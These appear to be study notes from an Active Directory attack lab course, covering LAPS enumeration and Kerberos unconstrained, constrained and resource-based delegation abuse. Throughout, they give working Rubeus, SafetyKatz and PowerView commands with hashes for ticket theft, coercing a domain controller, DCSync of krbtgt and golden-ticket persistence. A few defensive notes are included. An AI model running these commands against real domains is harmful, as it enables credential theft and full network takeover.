Only special groups (like LAPS Admins) can view this.


🔍 As an Attacker: Why You Care

If your current user or another compromised user:

  • Is in LAPS Admins group, or

  • Has All Extended Rights on a system

👉 You can read the local admin password for other systems and use it for lateral movement.


🧪 How to Enumerate LAPS

✅ Step 1 – Check Which OUs (Organizational Units) Use LAPS


powershell

Find-LAPSDelegatedGroups

Output:


OU=Servers → LAPS Admins

OU=Workstations → Domain Admins

🧠 Meaning: Users in LAPS Admins or Domain Admins can read local admin passwords.


✅ Step 2 – Check Specific Group Access to Machines


powershell

Find-AdmPwdExtendedRights

Output:


ComputerName                Identity                    Reason

SQL01                       INLANEFREIGHT\LAPS Admins   Delegated

EXCHG01                     INLANEFREIGHT\Domain Admins Delegate

🎯 If you compromise a LAPS Admin, you can read passwords for these computers.


✅ Step 3 – Dump the Actual Local Admin Passwords (if allowed)


powershell

Get-LAPSComputers

Output:


ComputerName         Password         Expiration

WS01                 TCaG-F)3No;l8C   09/26/2020

SQL01                9G#f;p41dcAe,s   09/26/2020

💥 You now have clear-text admin passwords!

Try using psexec, wmiexec, or RDP to connect to those hosts as Administrator.

Unconstrained Delegation

Understanding The Core Concept

🎯 What is Kerberos Delegation?

Kerberos Delegation is a way to allow a service (like a web server) to impersonate a user and access resources on their behalf — e.g., a backend file server or database.

💡 In simple terms:

“A user logs into a front-end server. The server uses that user’s identity to request data from another server — without asking for the user’s credentials again.”

This makes delegation powerful, but also risky if misconfigured.

1️⃣ What Unconstrained Delegation Actually Means

When an account (usually a computer) is configured for unconstrained delegation, the flag set is:


TRUSTED_FOR_DELEGATION

in the userAccountControl attribute.

In the Delegation tab it appears as:


Trust this computer for delegation to any service (Kerberos only)

Key idea:

➡ The service can impersonate users to ANY service in the domain.

There is no restriction list like constrained delegation

2️⃣ What the KDC Does Differently

Normally when a user authenticates to a service, the KDC only sends a service ticket.

But if the target service has unconstrained delegation enabled, the KDC also forwards the user’s TGT.

So the ticket the service receives contains:


User TGS

+

User TGT

This is the crucial part.

The service now has a copy of the user’s TGT.


3️⃣ Why the TGT Matters

A TGT lets you request tickets to ANY service.

Meaning:


TGT → request TGS → any SPN

So if a service receives a user’s TGT, it can request:


CIFS/DC01

LDAP/DC01

HOST/DC01

MSSQLSvc/SQL01

There is no restriction.

How the configuration works ??

1️⃣ The Delegation Setting in Active Directory

Suppose an administrator configures a server:

Inside Active Directory, the computer object has:

Attribute:

Flag enabled:


WEB01

    userAccountControl :

        TRUSTED_FOR_DELEGATION

In the GUI it appears as:


Trust this computer for delegation to any service (Kerberos only)

Meaning:


WEB01 can act on behalf of users to ANY service

There is no restriction list like constrained delegation.


2️⃣ What the KDC Understands From This Setting

When the Kerberos Key Distribution Center (KDC) sees:


WEB01 → TRUSTED_FOR_DELEGATION

it interprets it as:


If a user authenticates to WEB01

→ WEB01 may need to access other services as that user

So the KDC must give WEB01 the user’s Kerberos credentials.

Specifically:


Forwarded TGT

3️⃣ Example Domain

Environment:


Domain: corp.local

Machines:


DC01

WEB01   (unconstrained delegation enabled)

SQL01

FILE01

Configuration:


WEB01$

userAccountControl:

TRUSTED_FOR_DELEGATION

Permission That Can Lead To Abuse

1️⃣ Conditions Required for Unconstrained Delegation Abuse

For the attack to work, these conditions must exist.

Condition 1 — A computer with unconstrained delegation

Example:


WEB01$

Attribute:


userAccountControl: TRUSTED_FOR_DELEGATION

Meaning:


WEB01 can receive user TGTs

This is usually discovered using tools like

BloodHound.


Condition 2 — Attacker can compromise that server

Example:


Attacker → local admin on WEB01

This could happen via:

  • credential reuse

  • RCE

  • weak service account

  • lateral movement

Once inside, the attacker controls the system.


Condition 3 — A user authenticates to the server

When a user authenticates:


User → WEB01

The KDC sends:


User TGS

+

User TGT

The TGT is stored inside LSASS memory.


2️⃣ When a User Already Logged Into the Server

If a privileged user (for example Domain Admin) logged in:


Administrator → WEB01

Then inside LSASS:


Administrator TGT

Attacker extracts it using:

  • Mimikatz

  • Rubeus

Then they request:


Administrator → CIFS/DC01

Result:


Domain Controller access

That’s the easy scenario.

3️⃣ Is Local Admin Required to Abuse It?

Yes — in almost every practical attack you need local admin on that machine.

Reason:

To extract Kerberos tickets you must access:


LSASS memory

Accessing LSASS requires:


Local Administrator privileges

Without that you normally cannot dump the tickets.

Common tools that read LSASS:

  • Mimikatz

  • Rubeus

Both require high privileges.

4️⃣User Authenticates to the Computer

Suppose a domain admin logs into the machine:


Administrator → WEB01

Example access:


RDP login

SMB share

Web application

Now Kerberos authentication begins.


Step 1 — Administrator Requests Service Ticket

Administrator asks the KDC:


Give me a ticket for HOST/WEB01

This is a TGS request.


Step 2 — KDC Checks the Target Computer Object

The KDC looks at the service account:


WEB01$

It reads the attribute:


userAccountControl

and sees:


TRUSTED_FOR_DELEGATION

Meaning:


This computer is trusted to impersonate users.

Step 3 — KDC Issues the Ticket

Normally the KDC would send only:


Service Ticket → WEB01

But because unconstrained delegation is enabled, the KDC sends:


Service Ticket for WEB01

+

Administrator TGT

So the computer receives:


Administrator TGT

5️⃣ Why Attackers Want the Computer With Delegation

Because when anyone authenticates to that machine:


User TGT → stored in LSASS

If attacker controls the machine they can steal:


Domain Admin TGT

Service account TGT

Machine account TGT

6️⃣ Why the TGT Is Valuable

A TGT allows requesting tickets for ANY service in the domain.

So the attacker can now ask the KDC:


Use Administrator TGT

Request ticket for CIFS/DC01

The KDC checks:


Is TGT valid?

Yes.

So it issues:


Administrator → CIFS/DC01

9️⃣ Attacker Uses the Ticket

Now the attacker can access:


\\DC01\C$

as:


Administrator

Or request:


LDAP/DC01

which allows directory operations like replication.


🔟 Result

Because the attacker stole the Administrator TGT, they can act as that user anywhere:


Administrator → SQL01

Administrator → FILE01

Administrator → DC01

Meaning the attacker effectively becomes the Administrator in the domain.


1️⃣1️⃣ Why This Attack Works

The root cause is:


Unconstrained delegation forwards the user's TGT to the computer.

So the machine stores:


User Kerberos credentials

If the attacker controls that machine, they can steal those credentials.

What Happens If No One Logged In Yet

You asked this earlier — very important point.

If LSASS contains no useful TGT, attackers force authentication.

Example:


DC01 → WEB01

Kerberos flow:

1️⃣ DC01 requests:


TGS for HOST/WEB01

2️⃣ KDC checks:


WEB01$ → TRUSTED_FOR_DELEGATION

3️⃣ KDC sends:


DC01$ TGT

to the machine.

Now LSASS contains:


DC01$ TGT

Windows Setup + Example ( PoC )

🔎 Step 1: Reconnaissance — Identify Machines with Unconstrained Delegation

Using PowerView:


Get-DomainComputer -Unconstrained

OR

Get-DomainComputer -Unconstrained | select -ExpandProperty samaccountname      -> gives only the name of machine which can be used for unconstrained delegation

Using ActiveDirectory Module:


Get-ADComputer -Filter {TrustedForDelegation -eq $True}

Get-ADUser -Filter {TrustedForDelegation -eq $True}

These commands look for accounts (computers or services) where the TrustedForDelegation property is True.

Note:- After getting the list of machines where unconstrained delegation is enabled, skip the domain controller because, there this feature might be enabled due to business requirement. Always target non DC machines.


🛠 Step 2: Compromise the Delegation-Enabled Host

Assume you compromise a host like dcorp-appsrv (e.g., via RCE, credentials, misconfig, etc.).

This machine is configured with Unconstrained Delegation.

From the above image we can se that appadmin has local admin privileges on dcorp-appsrv and in past in past lectures we compromised the appadmin, using the hash of appadmin we will open its session



C:\AD\Tools\Loader.exe -path C:\AD\Tools\Rubeus.exe -args asktgt /user:appadmin /aes256:68f08715061e4d0790e71b1245bf20b023d08822d2df85bff50a0e8136ffe4cb /opsec /createnetonly:C:\Windows\System32\cmd.exe /show /ptt

Above command will open a appadmin cmd session, on open cmd session run invishell

Now check whether the user appadmin has got local admin privileges on dcorp-appsrv, Using Find-PSRemotingAdminAccess.ps1


C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat

. C:\AD\ToolsFind-PSRemotingAdminAccess.ps1

Find-PSRemotingLocalAdminAccess -Domain dollarcorp.moneycorp.local

from above image we can see that some times the command crashes, to come this just mention the domain name in which you are targeting. Output of the command gave that user appadmin has got local admin privileges on dcorp-adminsrv and dcorp-appsrv, we will move forward with dcorp-appsrv

Now run the rubeus in monitor mode dcorp-adminsrv, first copy loader the dcorp-appsrv and then connect wo dcorp-appsrv using winrs.


echo F | xcopy C:\AD\Tools\Loader.exe \\dcorp-appsrv\C$\Users\Public\Loader.exe /Y

and then

winrs -r:dcorp-appsrv cmd

next down enable port fowarding on dcorp-appsrv and then download and execute rubeus on it, before that first host the hfs and upload there rubeus.


netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=172.16.100.x

and then 

C:\Users\Public\Loader.exe -path http://127.0.0.1:8080/Rubeus.exe -args monitor /targetuser:DCORP-DC$ /interval:5 /nowrap  --------------> Continious checks LSSASS of dcorp-appsrv in every 5second to verify if there is any TGT of Domain controller(dcropt-dc$) machine
  • This continuously monitors LSASS for new Kerberos tickets.

  • When the DC connects, its TGT will show up.

  • You extract it in .kirbi format (Kerberos ticket file).


🛠 Step 3: Wait or Coerce a Privileged User to Connect

You want a high-privileged account (like Domain Admin or DC) to connect to this machine.

Option A: Wait

  • A Domain Admin logs in via RDP, SMB or PowerShell remoting.

  • Their TGT gets cached in LSASS automatically.

Option B: Force (Coerce) Authentication

You use a protocol abuse technique to force the DC to authenticate to dcorp-appsrv.

Why? Because when the DC authenticates, its machine account (dcorp-dc$) will give up its TGT, which is extremely powerful.

Certain Microsoft services/protocols allow coercion — i.e., force a machine to make a network authentication request to another machine (your target).

🔧 Available Coercion Protocols:

Protocol | Description | Default on | Ports |
— | — | — | — |
MS-RPRN | Print Spooler | Yes (Server OS) | 445(SMB) |
MS-WSP | Windows Search | No (Default on Clients OS) | 445(SMB) |
MS-DFSNM

(MDI detects this) | DFS Namespace Mgmt | No | 445(SMB) |

The MS-RPRN (Print Spooler) protocol contains a feature that allows any authenticated domain user to coerce any machine with the Print Spooler service running to initiate an authenticated connection to another machine of the attacker’s choice within the same domain

So if Print Spooler is running on DC we can force the DC to connect to the machine where TrustedForDelegation is set to true.

💥 Using SpoolSample (Print Spooler Abuse):


C:\AD\Tools\MS-RPRN.exe \\dcorp-dc.dollarcorp.moneycorp.local \\dcorp-appsrv.dollarcorp.moneycorp.local

This coerces the DC (dcorp-dc) to authenticate to the attacker-controlled appsrv.

Result:

  • The DC sends a Kerberos TGS that includes its TGT.

  • LSASS on appsrv caches that TGT.

Once compromised, the next step is to capture a TGT of a high-privileged user (e.g., Domain Admin).


📥 Step 4: Capture the Domain Controller’s TGT

Check the Rubeus for TGT of DC.

In above example we got base64 encoded TGT of domain controller.

Optionally, use:


SafetyKatz.exe "sekurlsa::tickets /export"

This dumps all tickets from LSASS into .kirbi files.


🔁 Step 5: Inject the DC’s TGT into Your Session

Now from from high Integrity shell on student Vm Inject the stolen TGT of dcorp-dc$ into another system under your control (e.g., the student VM):


Rubeus.exe ptt /ticket:<TGT_base64_or_path>

OR

C:\AD\Tools\Loader.exe -path C:\AD\Tools\Rubeus.exe ptt /ticket:<TGT_base64_or_path>

This will inject the DC’s TGT into your current session — you now effectively are the DC for Kerberos purposes.

OR

To verify whether the TGT has been Imported to the current user session, we can run klist command.

Above example shows we have TGT of domain controller in current user session.


🔓 Step 6: Perform DCSync

Now that you’re impersonating the DC via its TGT, run:


SafetyKatz.exe "lsadump::dcsync /user:dcorp\\krbtgt"

OR

C:\AD\Tools\Loader.exe -path C:\AD\Tools\SafetyKatz.exe "lsadump::Evasive-dcsync /user:dcorp\\krbtgt"

This will perform a DCSync — mimicking a DC and requesting password hashes from Active Directory.

✅ You now have the KRBTGT hash, which means you can:

  • Forge Golden Tickets

  • Persist indefinitely in the environment

  • Become any user in the domain

OR

Now using this AES key we can perform diamond ticket attack and gain the persistance of DC


Constrained Delegation

Understanding The Core Concept

1️⃣ Why Constrained Delegation Exists (Double Hop Problem)

Imagine this setup:


User → WEB01 → SQL01

Example scenario:

  • User Alice logs into a web application on WEB01

  • The web application needs to query SQL01 as Alice

But Kerberos has a rule:

A service cannot reuse a user’s TGT to authenticate to another service.

So when Alice connects:


Alice → WEB01

WEB01 receives:


Alice's TGS for HTTP/WEB01

But WEB01 cannot use that ticket to authenticate to SQL01.

So this fails:


WEB01 → SQL01 (as Alice)

This is called the Double Hop Problem.


Hop 1: Alice → WEB01

Hop 2: WEB01 → SQL01  ❌ blocked

2️⃣ Microsoft’s Solution: Delegation

Microsoft introduced delegation so a service could act on behalf of a user.

There are three types:

  1. Unconstrained Delegation

  2. Constrained Delegation

  3. Resource-Based Constrained Delegation (RBCD)

You already studied RBCD, so now we look at Constrained Delegation.


3️⃣ How Constrained Delegation Works

With constrained delegation, the delegating service is configured to access only specific services.

This configuration is stored in:

Control over the delegating service account

That account can be:

  • a computer account (WEB01$)

  • a service account (websvc)

  • sometimes even a user account


WEB01$

msDS-AllowedToDelegateTo:

   MSSQLSvc/SQL01.domain.local

   CIFS/FILE01.domain.local

Meaning:


WEB01 can impersonate users ONLY to SQL01 and FILE01

Not to DC, not to CIFS, not to LDAP.

How the configuration & verification part works ?? - Correction Needed

4️⃣ Kerberos S4U Extensions (What They Actually Enable)

Kerberos originally required the user to present credentials to get a ticket.

But Microsoft added two extensions so services can request tickets for users.

These extensions are defined in the Kerberos extension:

Service for User to Self (S4U2Self)

Service for User to Proxy (S4U2Proxy)

These allow protocol transition + delegation.

So the flow becomes:


Service → KDC → "Give me ticket for user"

without the user providing a password.

But the KDC performs several validations before issuing anything.


5️⃣ Required AD Configuration (Before Any S4U Works)

For constrained delegation, two AD settings must exist.

1️⃣ Delegation enabled on the service account

Example service:


WEB01$

AD setting in Delegation tab:


Trust this computer for delegation to specified services

Behind the scenes this sets:


userAccountControl flag:

TRUSTED_TO_AUTH_FOR_DELEGATION

This allows protocol transition (S4U2Self).

Without this flag:


S4U2Self = denied

2️⃣ Allowed services list

Attribute:


WEB01$

msDS-AllowedToDelegateTo:

    MSSQLSvc/SQL01.domain.local

    CIFS/FILE01.domain.local

This list tells the KDC:


WEB01 can delegate ONLY to these SPNs

The KDC checks this during S4U2Proxy.


6️⃣ Step-by-Step Deep Flow

Example environment:


User: Alice

Service: WEB01

Target: SQL01

Goal:


WEB01 → access SQL01 as Alice

Step 1 — Service Gets Its Own TGT

First WEB01 authenticates normally.


WEB01 → KDC

Request:


AS-REQ

Response:


AS-REP

WEB01 receives:


TGT for WEB01$

This ticket is encrypted with the krbtgt key.

So now WEB01 can talk to the KDC.


Step 2 — S4U2Self Request

WEB01 sends a TGS request to the KDC.

Request:


Service: WEB01$

User to impersonate: Alice

SPN requested: HTTP/WEB01

So it says:


"Give me a service ticket for Alice to access me"

What the KDC Checks

The Domain Controller now performs validations.

Check 1 — Does the service exist?

KDC looks up:


servicePrincipalName = HTTP/WEB01

Finds:


WEB01$

So the service is valid.


Check 2 — Is protocol transition allowed?

KDC checks:


userAccountControl

Specifically:


TRUSTED_TO_AUTH_FOR_DELEGATION

If missing:


KDC_ERR_BADOPTION

Ticket denied.


Check 3 — Does the user exist?

KDC looks up:


Alice

If user exists → continue.


Check 4 — Is the user marked sensitive?

KDC checks user attribute:


Account is sensitive and cannot be delegated

This corresponds to:


USER_NOT_DELEGATED

If enabled:


S4U2Self denied

Admins often enable this for:


Domain Admins

Privileged users

Step 3 — Ticket Issued

If all checks pass, the KDC issues Alice Ticket ( TGT ) to WEB01:


Alice → HTTP/WEB01 ticket

Important:

This ticket contains:


PAC (Privilege Attribute Certificate)

Inside the PAC:


User SID

Group SIDs

Privileges

So WEB01 now has proof:


Alice's identity

But the ticket is still only valid for WEB01.


Step 4 — S4U2Proxy Request

Now WEB01 wants to access SQL01.

So it sends another TGS request to the KDC.

Request includes:


Alice → WEB01 ticket

and asks for:


Alice → MSSQLSvc/SQL01

What the KDC Checks Now

This is where constrained delegation validation happens.


Check 1 — Is this ticket forwardable?

The ticket issued in S4U2Self contains a flag:


FORWARDABLE

Without this flag:


S4U2Proxy fails

Check 2 — Is the delegating service allowed?

KDC checks:


msDS-AllowedToDelegateTo

on:


WEB01$

Example:


WEB01$

   msDS-AllowedToDelegateTo =

      MSSQLSvc/SQL01.domain.local

If SQL01 is not in this list:


KDC_ERR_POLICY

Denied.


Check 3 — SPN match

The requested SPN must match exactly.

Example allowed:


MSSQLSvc/SQL01.domain.local

But request:


CIFS/SQL01

Would fail.


Check 4 — User delegation restrictions

Again KDC checks:


USER_NOT_DELEGATED

If set:


Delegation blocked

Step 5 — Final Ticket Issued

KDC generates:


Alice → MSSQLSvc/SQL01

Ticket.

Encrypted with:


SQL01 service key

So only SQL01 can decrypt it.


Step 6 — Service Uses Ticket

WEB01 now connects:


WEB01 → SQL01

and presents the ticket.

SQL01 decrypts it and sees:


User = Alice

So SQL server believes:


Alice executed the query

7️⃣ Visualizing the Whole Process


1️⃣ WEB01 authenticates

WEB01 → KDC

     get TGT

2️⃣ S4U2Self

WEB01 → KDC

     request Alice → WEB01

3️⃣ KDC validates

     delegation flags

     user status

4️⃣ Ticket issued

Alice → WEB01

5️⃣ S4U2Proxy

WEB01 → KDC

     request Alice → SQL01

6️⃣ KDC checks

     msDS-AllowedToDelegateTo

7️⃣ Ticket issued

Alice → SQL01

8️⃣ WEB01 connects to SQL01

     using Alice's identity

8️⃣ Why This Is Dangerous for Security

If attackers compromise a server with delegation:


WEB01$

they can run S4U requests for any domain user.

Example impersonation:


Administrator

krbtgt

Domain Admins

If the allowed service includes something powerful like:


CIFS/DC01

LDAP/DC01

Then attackers can reach the domain controller.

Permission That Can Lead To Abuse

1️⃣ What Permissions Enable Constrained Delegation Abuse

For traditional constrained delegation, the configuration lives on the delegating account (user or computer).

The key attribute is:


msDS-AllowedToDelegateTo

So if you can modify that attribute, you can configure delegation.

The permissions that allow this are:

High impact permissions

Look for these edges in BloodHound:

  • GenericAll

  • GenericWrite

  • WriteProperty

  • WriteDacl

  • WriteOwner

These give the ability (directly or indirectly) to modify delegation settings.


2️⃣ What They Mean Practically

GenericAll

This is full control over the object.

If you have:


Attacker → GenericAll → WEB01$

You can modify:

  • SPNs

  • Delegation

  • Password

  • ACLs

  • Group membership (for users)

So you can set:


msDS-AllowedToDelegateTo

to anything you want.

Example attack config:


WEB01$

msDS-AllowedToDelegateTo = CIFS/DC01.domain.local

Now WEB01 can impersonate users to the domain controller.


GenericWrite

This allows modification of most attributes.

If you have:


Attacker → GenericWrite → WEB01$

You can modify attributes like:


msDS-AllowedToDelegateTo

servicePrincipalName

description

etc

So you can configure constrained delegation the same way.


WriteProperty

This is attribute-specific write permission.

If the permission includes:


WriteProperty → msDS-AllowedToDelegateTo

then you can directly configure constrained delegation.

Sometimes BloodHound shows this as:


WriteProperty

on a computer object.


WriteDacl

This allows modifying the ACL itself.

So the attack becomes two steps:

1️⃣ Add your own permission


Attacker → GenericAll → WEB01$

2️⃣ Modify delegation settings.


WriteOwner

This allows you to take ownership of the object.

Ownership lets you modify the ACL.

Flow:


Take ownership

↓

Modify DACL

↓

Grant GenericAll

↓

Modify delegation

3️⃣ What To Look For In BloodHound

Typical attack path queries include:


GenericAll

GenericWrite

WriteDacl

WriteOwner

on:


User accounts

Computer accounts

Service accounts

Example graph:


AttackerUser

      │

GenericWrite

      │

WEB01$

This means you can modify WEB01$ attributes.


4️⃣ How Attackers Actually Configure Constrained Delegation

If you control:


WEB01$

you modify:


msDS-AllowedToDelegateTo

Example malicious configuration:


WEB01$

msDS-AllowedToDelegateTo:

CIFS/DC01.domain.local

LDAP/DC01.domain.local

HOST/DC01.domain.local

Now WEB01 can impersonate any user to the domain controller.

Then the attacker performs:


S4U2Self

↓

S4U2Proxy

↓

Administrator → DC01

Which results in domain compromise.


5️⃣ BloodHound Indicators For Delegation Abuse

BloodHound highlights several related edges:

  • AllowedToDelegate

  • AllowedToAct (RBCD)

  • TrustedToAuthForDelegation

These show existing delegation relationships.


Privilege escalation edges

These show ability to modify delegation:


GenericAll

GenericWrite

WriteDacl

WriteOwner

on service accounts or machines.


6️⃣ Quick Realistic Example

Imagine BloodHound shows:


User: john

john

 │

GenericWrite

 │

WEB01$

Attack chain:

1️⃣ Modify delegation on WEB01


msDS-AllowedToDelegateTo = CIFS/DC01

2️⃣ Perform impersonation


Administrator → WEB01 (S4U2Self)

3️⃣ Request delegated ticket


Administrator → DC01 (S4U2Proxy)

4️⃣ Access domain controller shares


\\DC01\C$

Now attacker effectively has Domain Admin level access.

Windows Setup + Example ( PoC )

🔍 Enumeration of Constrained Delegation

🔎 Using PowerView


Get-DomainUser -TrustedToAuth

OR

Get-DomainComputer -TrustedToAuth

This fetches users or computers that have:

  • TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION set

  • and msDS-AllowedToDelegateTo populated

Get-DomainUser -TruestedToAuth —–> Returns Service accounts that have the TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION bit set

Get-DomainComputer -TruestedToAuth - - - > Returns computer accounts (machine objects) that have the TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION bit set.

The above screenshoot shoes websvc is allowed for delegation and can delegate for CIFS service on dcorp-mssql.

🔎 Using ActiveDirectory Module


Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne $null} -Properties msDS-AllowedToDelegateTo

🧪 Exploiting with Rubeus

Let’s say we have compromised the websvc account. We have its AES256 hash, and it is trusted to delegate with protocol transition.

Note:- below commands can be run on any domain joined command.

🧬 Step1: Impersonate Administrator to CIFS:

Using S4U to Get TGT+TGS in One Go:


Rubeus.exe s4u /user:websvc /aes256:2d84a12f614ccbf3d716b8339cbbe1a650e5fb352edc8e879470ade07e5412d7 /impersonateuser:Administrator /msdsspn:CIFS/dcorp-mssql.dollarcorp.moneycorp.local /ptt

Explanation:

  • /impersonateuser:Administrator: Who we want to impersonate(

You will impersonate the Administrator account to the CIFS service on dcorp-mssql

  • /msdsspn: The target service the websvc is allowed to delegate to

  • /ptt: Pass-the-ticket (inject into current session)

To check whether the Ticket has been imported in current user session you can use klist command, which will list all the available tickets


klist

Above image shows that you are authenticated as Administrator for CIFS service

Step2: Access Targeted Resource


dir \\dcorp-mssql.dollarcorp.moneycorp.local\c$

You’re now accessing the C$ share as Domain Admin — without ever compromising their creds.


⚠️ Bonus: Abuse via Alternate Services (altservice)

Sometimes, an SPN in msDS-AllowedToDelegateTo might seem harmless — like time/ — but because SPN values are cleartext, they can be altered with /altservice to access other services on same host.

Example:

step1: find the computers or service accounts which have TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION set and has any service running on Domain Controller under the msDS-AllowedToDelegateTo option


Get-DomainComputer -TruestedToAuth  

above screenshot shows that DCORP-ADMINSRV$ computer is trusted to Auth for Time Service on DC.

Step2:- Use Rubeus for Constrained Delegation with Protocol Transition:

Classic Constrained Delegation:


Rubeus.exe s4u /user:dcorp-adminsrv$ /aes256:db7bd8e34fada016eb0e292816040a1bf4eeb25cd3843e04

1d0278d30dc1b445 /impersonateuser:Administrator /msdsspn:time/dcorp-dc.dollarcorp.moneycorp.local /ptt

The above command runs Constrained Delegation attack for time service on the Domain Controller.

Constrained Delegation with Protocol Transition:


Rubeus.exe s4u /user:dcorp-adminsrv$ /aes256:db7bd8e34fada016eb0e292816040a1bf4eeb25cd3843e041d0278d30dc1b445 /impersonateuser:Administrator /msdsspn:time/dcorp-dc.dollarcorp.moneycorp.local **/altservice:ldap** /ptt

/altservice:ldap:- verrides the service in the resulting TGS to be for LDAP, even though the SPN is time/....

This allows the attacker to perform DCSync (or other LDAP operations) as Administrator — without ever needing their credentials or interaction.

Checking whether the TGS has been imported:

✔ Now we can perform:


lsadump::dcsync /user:dcorp\krbtgt

📢 DCSync without Domain Admin compromise!

🧠 Even though the account was trusted only to time service, we accessed LDAP on the same DC.

🔐 Defensive Notes

  • Limit use of delegation — especially Protocol Transition

  • Use resource-based constrained delegation (RBCD) instead

  • Regularly audit msDS-AllowedToDelegateTo and userAccountControl

  • Monitor for:

    • S4U2Self/S4U2Proxy usage
    • Abnormal TGS request patterns
    • Privileged users being impersonated

RBCD

Understanding The Core Concept

🧠 Core Idea of the RBCD Attack (Your Case)

Normally, delegation is configured on the service doing the delegation.

But with Resource-Based Constrained Delegation, the target machine decides who can impersonate users to it.

After your relay attack, the rule inside Active Directory becomes:

WEB01 says:

“I trust SWJFVMVD$ to impersonate users when accessing me.”

So the attacker machine can now pretend to be any user when accessing WEB01.

To perform an RBCD attack, you must be able to modify one attribute on the target computer object:


msDS-AllowedToActOnBehalfOfOtherIdentity

This attribute is stored on the target server’s AD object (example: WEB01$).

So the attacker must have write capability over the target computer object in AD.

🔑 Permissions That Allow RBCD

You can configure RBCD if you have any permission that allows writing attributes on the target object.

Common ones are:

Permission | Why It Works |
— | — |
GenericAll | Full control of the object |
GenericWrite | Write most attributes |
WriteProperty | Write specific attributes |
WriteDACL | Modify object permissions |
Owner | Can modify permissions |

GenericAll (Full Control)

This is the strongest permission.

If you have:


GenericAll on WEB01$

You can:

  • modify attributes

  • reset passwords

  • modify delegation

  • change ACLs

So you can easily set:


msDS-AllowedToActOnBehalfOfOtherIdentity

Example conceptually:


User: attacker

Permission: GenericAll

Target: WEB01$

So attacker can say:

“WEB01 trusts my machine for delegation.”


GenericWrite

This permission allows writing most attributes on the object.

So if you have:


GenericWrite on WEB01$

You can modify:


msDS-AllowedToActOnBehalfOfOtherIdentity

Because it is simply an attribute stored on the object.

Example scenario:


helpdesk_user

     │

GenericWrite

     │

WEB01$

Now helpdesk_user can configure RBCD.


WriteProperty

This is more granular.

It allows modifying specific attributes.

If the permission allows writing:


msDS-AllowedToActOnBehalfOfOtherIdentity

then RBCD can be configured.

Example:


attacker

WriteProperty(msDS-AllowedToActOnBehalfOfOtherIdentity)

WEB01$

This is enough to set delegation.


WriteDACL

This permission is very powerful.

It allows modifying the ACL of the object.

Meaning you can give yourself:


GenericAll

Then modify the delegation attribute.

Flow:


attacker

   │

WriteDACL on WEB01

   │

Add GenericAll permission

   │

Modify RBCD attribute

Ownership (WriteOwner)

If you become owner of the object, you can modify its permissions.

Example flow:


attacker

   │

WriteOwner

   │

Becomes owner of WEB01

   │

Modify ACL

   │

Gain GenericAll

   │

Configure RBCD

Ownership always allows modifying the object’s permissions.

Conditions to Perform the Attack

1️⃣ Creating a Computer Account (MachineAccountQuota)

In Active Directory there is a domain setting:


ms-DS-MachineAccountQuota = 10

This means:

Any authenticated domain user or computers can create up to 10 computer objects.

Example:

User:


john

can create:


ATTACKERPC$

inside AD.

So after creation:


Domain Computers

 ├─ WEB01$

 ├─ DC01$

 └─ ATTACKERPC$

Now john controls ATTACKERPC$ credentials.

But notice something important:

Creating a computer does NOT automatically give john control over WEB01.

So just creating a machine does not enable RBCD yet.

Double Hop Problem + S4U2

1️⃣ First: What Is the Double Hop Problem?

Imagine three machines:

  • Client (user’s computer)

  • WEB01 (web server)

  • FILE01 (file server)

User:


dom

Servers:


WEB01

FILE01

Normal Kerberos Login

User logs in and receives a TGT (Ticket Granting Ticket):


TGT(dom)

Then the user accesses the web server.

The KDC issues:


TGS(dom → WEB01)

So now:


dom → WEB01

WEB01 knows the user is dom.


2️⃣ Now the Web Server Needs the File Server

The web application needs a file from FILE01.

So WEB01 tries to access FILE01.

But here is the problem.

WEB01 does not have dom’s TGT.

It only has the service ticket:


TGS(dom → WEB01)

So WEB01 cannot request:


TGS(dom → FILE01)

because only the client owns the TGT.


This Is the Double Hop Problem

Hop 1:


dom → WEB01

Hop 2:


WEB01 → FILE01

Kerberos does not allow the second hop, because the web server cannot impersonate the user.

So access fails.


3️⃣ Microsoft’s Solution: Delegation

Microsoft introduced delegation so services could act on behalf of users.

There are different types:

  • Unconstrained delegation

  • Constrained delegation

  • Resource-Based Constrained Delegation (RBCD)

But all of them rely on the same Kerberos extension:


S4U (Service for User)

4️⃣ S4U Extension Overview

S4U contains two steps:


S4U2Self

S4U2Proxy

Think of them as:


Step 1 → pretend user logged into me

Step 2 → access another service as that user

5️⃣ Step 1: S4U2Self (Service Pretends User Logged In)

The service asks the KDC:

“Give me a ticket for user dom to my own service.”

Example request:


Service: WEB01

User: dom

The KDC issues:


TGS(dom → WEB01)

Important detail:

This ticket is not coming from the user.

The service requested it itself.

So now WEB01 can say:


“I am acting on behalf of dom.”

But it still cannot access FILE01 yet.


6️⃣ Step 2: S4U2Proxy (Second Hop)

Now the service asks again:

“I have a ticket representing dom to me.

Now give me a ticket for dom → FILE01.”

So request becomes:


TGS(dom → FILE01)

But before issuing it, the KDC checks delegation permissions.

It asks:


Is WEB01 allowed to impersonate users to FILE01?

If delegation is configured, the KDC approves.

Then it issues:


TGS(dom → FILE01)

Now WEB01 can access FILE01 as dom.


7️⃣ Visual Flow (Legitimate Delegation)


User dom logs in

        │

        ▼

TGT(dom)

dom → WEB01

        │

        ▼

WEB01 receives TGS(dom → WEB01)

S4U2Self

WEB01 asks KDC → "give me ticket for dom → WEB01"

S4U2Proxy

WEB01 asks KDC → "give me ticket for dom → FILE01"

KDC checks delegation permissions

KDC issues:

TGS(dom → FILE01)

WEB01 accesses FILE01 as dom

8️⃣ Important: TGT vs TGS in S4U

Here is something many people misunderstand.

S4U never gives you the user’s TGT.

It only gives service tickets (TGS).

So after S4U you get:


TGS(dom → WEB01)

TGS(dom → FILE01)

But you never receive:


TGT(dom)

That’s why S4U is considered safer than unconstrained delegation.


9️⃣ Now Let’s Connect This to Your RBCD Attack

Actors in your attack:


Attacker machine → SWJFVMVD$

Target server → WEB01

User to impersonate → Administrator

During the relay attack you configured:


WEB01 trusts SWJFVMVD$ for delegation

So now Kerberos policy becomes:


SWJFVMVD$ can impersonate users to WEB01

🔟 S4U2Self in Your Attack

Your attacker machine asks the KDC:

“Give me a ticket for Administrator → SWJFVMVD$.”

KDC issues:


TGS(Administrator → SWJFVMVD$)

This means:


SWJFVMVD$ is acting as Administrator

But this ticket still cannot access WEB01.


